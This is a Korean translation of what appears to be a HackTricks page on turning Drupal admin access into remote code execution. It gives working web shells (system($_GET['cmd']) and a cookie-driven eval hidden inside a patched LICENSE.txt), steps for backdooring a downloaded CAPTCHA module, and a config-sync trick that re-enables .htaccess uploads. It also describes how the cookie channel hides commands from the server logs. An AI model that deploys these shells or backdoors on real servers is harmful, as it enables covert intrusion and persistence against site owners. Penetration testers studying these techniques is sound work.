Drupal RCE

Support HackTricks

With PHP Filter Module

이전 버전의 Drupal **(버전 8 이전)**에서는 관리자로 로그인하고 PHP filter 모듈을 활성화하는 것이 가능했습니다. 이 모듈은 "내장된 PHP 코드/스니펫을 평가할 수 있게 합니다." 그러나 버전 8부터 이 모듈은 기본적으로 설치되지 않습니다.

php 플러그인이 설치되어 있어야 합니다 (_/modules/php_에 접근하여 403이 반환되면 존재함, 찾을 수 없으면 php 플러그인이 설치되지 않음)

모듈 -> (확인) PHP Filter -> 구성 저장

그런 다음 콘텐츠 추가 -> 기본 페이지 또는 기사 선택 -> 본문에 php 쉘코드 작성 -> _텍스트 형식_에서 PHP 코드 선택 -> 미리보기 선택

마지막으로 새로 생성된 노드에 접근하세요:

curl http://drupal-site.local/node/3

PHP 필터 모듈 설치

현재 버전에서는 기본 설치 후 웹에만 접근하여 플러그인을 설치하는 것이 더 이상 불가능합니다.

버전 8부터는 PHP 필터 모듈이 기본적으로 설치되지 않습니다. 이 기능을 활용하기 위해서는 모듈을 직접 설치해야 합니다.

  1. Drupal 웹사이트에서 모듈의 최신 버전을 다운로드합니다.

  2. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz

  3. 다운로드가 완료되면 관리 > 보고서 > **사용 가능한 업데이트**로 이동합니다.

  4. **찾아보기**를 클릭하고, 다운로드한 디렉토리에서 파일을 선택한 후 **설치**를 클릭합니다.

  5. 모듈이 설치되면 **콘텐츠**를 클릭하고 새 기본 페이지를 생성합니다. 이는 Drupal 7 예제에서 했던 방식과 유사합니다. 다시 한 번, 텍스트 형식 드롭다운에서 PHP 코드를 선택하는 것을 잊지 마세요.

백도어 모듈

현재 버전에서는 기본 설치 후 웹에만 접근하여 플러그인을 설치하는 것이 더 이상 불가능합니다.

백도어 모듈은 기존 모듈에 쉘을 추가하여 생성할 수 있습니다. 모듈은 drupal.org 웹사이트에서 찾을 수 있습니다. CAPTCHA와 같은 모듈을 선택해 보겠습니다. 아래로 스크롤하여 tar.gz 아카이브의 링크를 복사합니다.

  • 아카이브를 다운로드하고 내용을 추출합니다.

wget --no-check-certificate  https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
  • PHP 웹 셸을 다음 내용으로 생성합니다:

<?php
system($_GET["cmd"]);
?>
  • 다음으로, 폴더에 대한 접근 권한을 부여하기 위해 .htaccess 파일을 생성해야 합니다. 이는 Drupal이 /modules 폴더에 대한 직접 접근을 거부하기 때문에 필요합니다.

<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
</IfModule>
  • 위의 구성은 /modules에서 파일을 요청할 때 / 폴더에 대한 규칙을 적용합니다. 이 두 파일을 captcha 폴더에 복사하고 아카이브를 만듭니다.

mv shell.php .htaccess captcha
tar cvf captcha.tar.gz captcha/
  • 웹사이트에 관리자 접근 권한이 있다고 가정하고, 사이드바에서 **Manage**를 클릭한 다음 **Extend**를 클릭합니다. 다음으로 + Install new module 버튼을 클릭하면 http://drupal-site.local/admin/modules/install과 같은 설치 페이지로 이동합니다. 백도어가 있는 Captcha 아카이브로 이동하여 **Install**을 클릭합니다.

  • 설치가 성공하면 **/modules/captcha/shell.php**로 이동하여 명령을 실행합니다.

구성 동기화를 통한 Drupal 백도어

게시물 공유자 Coiffeur0x90

1부 (MediaMedia Library 활성화)

Extend 메뉴 (/admin/modules)에서 이미 설치된 플러그인으로 보이는 항목을 활성화할 수 있습니다. 기본적으로 플러그인 Media 및 _Media Library_는 활성화되지 않은 상태이므로 활성화하겠습니다.

활성화 전:

활성화 후:

2부 (Configuration synchronization 기능 활용)

우리는 Configuration synchronization 기능을 활용하여 Drupal 구성 항목을 덤프(내보내기)하고 업로드(가져오기)할 것입니다:

  • /admin/config/development/configuration/single/export

  • /admin/config/development/configuration/single/import

system.file.yml 패치

먼저 allow_insecure_uploads의 첫 번째 항목을 패치하는 것으로 시작하겠습니다:

파일: system.file.yml


...

allow_insecure_uploads: false

...

다음으로:

파일: system.file.yml


...

allow_insecure_uploads: true

...

Patch field.field.media.document.field_media_document.yml

그런 다음, 두 번째 항목 file_extensions를 다음과 같이 패치합니다:

File: field.field.media.document.field_media_document.yml


...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

다음으로:

파일: field.field.media.document.field_media_document.yml

...

file_directory: '[date:custom:Y]-[date:custom:m]'
file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fodt fods fodp fodg key numbers pages'

...

이 블로그 포스트에서는 사용하지 않지만, file_directory 항목을 임의로 정의할 수 있으며 경로 탐색 공격에 취약하다는 점이 주목됩니다 (따라서 Drupal 파일 시스템 트리 내에서 위로 올라갈 수 있습니다).

Part 3 (기능 문서 추가 활용하기)

마지막 단계는 가장 간단하며 두 개의 하위 단계로 나뉩니다. 첫 번째는 .htaccess 형식의 파일을 업로드하여 Apache 지시어를 활용하고 .txt 파일이 PHP 엔진에 의해 해석되도록 허용하는 것입니다. 두 번째는 우리의 페이로드를 포함하는 .txt 파일을 업로드하는 것입니다.

File: .htaccess

<Files *>
SetHandler application/x-httpd-php
</Files>

# Vroum! Vroum!
# We reactivate PHP engines for all versions in order to be targetless.
<IfModule mod_php.c>
php_flag engine on
</IfModule>
<IfModule mod_php7.c>
php_flag engine on
</IfModule>
<IfModule mod_php5.c>
php_flag engine on
</IfModule>

왜 이 트릭이 멋진가요?

웹 셸(우리는 이를 LICENSE.txt라고 부릅니다.)이 웹 서버에 배포되면, $_COOKIE를 통해 명령을 전송할 수 있으며, 웹 서버 로그에는 텍스트 파일에 대한 정당한 GET 요청으로 나타납니다.

왜 우리의 웹 셸을 LICENSE.txt라고 이름 짓나요?

단순히 Drupal 코어에 이미 존재하는 다음 파일, 예를 들어 core/LICENSE.txt를 사용하면, 339줄과 17.6 KB 크기의 파일이 있어 중간에 작은 PHP 코드 조각을 추가하기에 완벽합니다(파일이 충분히 크기 때문에).

파일: 패치된 LICENSE.txt


...

this License, you may choose any version ever published by the Free Software
Foundation.

<?php

# We inject our payload into the cookies so that in the logs of the compromised
# server it shows up as having been requested via the GET method, in order to
# avoid raising suspicions.
if (isset($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
if (!empty($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"])) {
eval($_COOKIE["89e127753a890d9c4099c872704a0711bbafbce9"]);
} else {
phpinfo();
}
}

?>

10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author

...

Part 3.1 (upload file .htaccess)

먼저, 우리는 Add Document (/media/add/document) 기능을 활용하여 Apache 지시어가 포함된 파일(.htaccess)을 업로드합니다.

Part 3.2 (upload file LICENSE.txt)

그 다음, 우리는 Add Document (/media/add/document) 기능을 다시 활용하여 라이선스 파일에 숨겨진 Webshell을 업로드합니다.

Part 4 (interaction with the Webshell)

마지막 부분은 Webshell과 상호작용하는 것으로 구성됩니다.

다음 스크린샷에서 볼 수 있듯이, Webshell에서 기대하는 쿠키가 정의되지 않으면 웹 브라우저를 통해 파일을 조회할 때 다음과 같은 결과를 얻습니다.

공격자가 쿠키를 설정하면 Webshell과 상호작용하고 원하는 명령을 실행할 수 있습니다.

로그에서 볼 수 있듯이, 요청된 것은 txt 파일뿐인 것처럼 보입니다.

이 기사를 읽어 주셔서 감사합니다. 이 정보가 여러분에게 도움이 되기를 바랍니다.

Support HackTricks

Last updated